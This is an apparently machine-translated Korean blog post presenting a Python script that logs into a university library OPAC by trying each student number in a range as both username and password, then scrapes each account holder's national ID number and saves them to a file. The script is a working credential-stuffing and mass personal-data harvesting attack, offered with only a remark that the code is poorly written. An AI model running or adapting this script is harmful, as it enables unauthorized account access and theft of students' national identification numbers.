Python 학교 도서관 OAPC 계 정 에 대응 하 는 주민등록번호 가 져 오기

7518 단어 python
 1 import urllib.request

 2 import urllib.parse

 3 import http.cookiejar

 4 import re

 5 

 6 lib_login = 'http://xxx.edu.cn/reader/redr_verify.php'

 7 

 8 def get_info(number, passwd, myfile):

 9     cj = http.cookiejar.CookieJar()

10     pro = urllib.request.HTTPCookieProcessor(cj)

11     opener = urllib.request.build_opener(pro)

12 

13     postDict = {

14         'number':str(number),

15         'passwd':str(passwd),

16         'select':'cert_no',

17         'returnUrl':''

18     }

19     postData = urllib.parse.urlencode(postDict).encode()

20     op = opener.open(lib_login, postData)

21     data = op.read().decode()

22     log_ok = False

23     is_login = re.compile('<font color="blue">.*</font>')

24     for x in is_login.findall(data):

25         login_ok = re.compile('<[^>]+>')

26         login_ok = login_ok.sub('', x)

27         if login_ok != '':

28             log_ok = True

29         else:

30             log_ok = False

31     if log_ok:

32         person_id = re.compile('    : </span>\d*</TD>')

33         for x in person_id.findall(data):

34             usr_psw = re.compile('<[^>]+>')

35             usr_psw = usr_psw.sub('', x)

36             usr_psw += '
' 37 number = str(number) 38 number += ' ' 39 myfile.write(number) 40 myfile.write(usr_psw) 41 myfile.flush() 42 print(number + 'OK') 43 print(usr_psw) 44 45 f = open('wifi2013.txt', 'a') 46 for i in range(2013002734, 2013003980): 47 get_info(i, i, f) 48 f.close()

 이 코드 의 논 리 는 간단 하고 이상 한 처리 가 부족 합 니 다. 파 이 썬 에 막 들 어 온 아주 나 쁜 코드 입 니 다. 나중에 계속 꺼 내 서 최적화 할 수 있 습 니 다.

좋은 웹페이지 즐겨찾기